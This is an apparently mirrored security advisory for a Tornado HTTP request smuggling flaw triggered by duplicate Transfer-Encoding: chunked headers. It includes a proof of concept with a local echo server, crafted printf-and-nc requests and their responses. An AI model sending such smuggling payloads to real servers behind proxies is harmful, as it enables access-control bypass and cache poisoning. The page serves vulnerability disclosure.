🛡️ GHSA-753j-mpmx-qq6g — tornado

⚪ Unknown ✅ No Known Exploit CWE-444 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado

Summary

When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.

PoC

0. Install Tornado.

1. Start a simple Tornado server that echoes each received request's body:

```bash

cat << EOF > server.py

import asyncio

import tornado

class MainHandler(tornado.web.RequestHandler):

def post(self):

self.write(self.request.body)

async def main():

tornado.web.Application([(r"/", MainHandler)]).listen(8000)

await asyncio.Event().wait()

asyncio.run(main())

EOF

python3 server.py &

```

2. Send a valid chunked request:

```bash

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

```

3. Observe that the response is as expected:

```

HTTP/1.1 200 OK

Server: TornadoServer/6.3.3

Content-Type: text/html; charset=UTF-8

Date: Sat, 07 Oct 2023 17:32:05 GMT

Content-Length: 1

Z

```

4. Send a request with two Transfer-Encoding: chunked headers:

```

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

```

5. Observe the strange response:

```

HTTP/1.1 200 OK

Server: TornadoServer/6.3.3

Content-Type: text/html; charset=UTF-8

Date: Sat, 07 Oct 2023 17:35:40 GMT

Content-Length: 0

HTTP/1.1 400 Bad Request

```

This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

Impact

Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity low, availability none.

Weakness class

GHSA-753j-mpmx-qq6g is classified as CWE-444: HTTP Request Smuggling. A proxy and a server disagree on where one request ends, letting an attacker slip a second request past the front end.

Affected software

GHSA-753j-mpmx-qq6g is recorded against 1 package.

  • tornado (fixed in 6.4.1)

Timeline and source

Published on 6 June 2024 and last revised on 4 February 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CWE CWE-444
Public Exploit ✅ No
Source OSV
Published 2024-06-06
Updated 2026-08-12
Modified 2026-02-04
Fix URL N/A

Affected Packages

Software From version Fixed in
tornado 6.4.1

Free Vulnerability Check

Is your site affected by GHSA-753j-mpmx-qq6g?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-753j-mpmx-qq6g and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated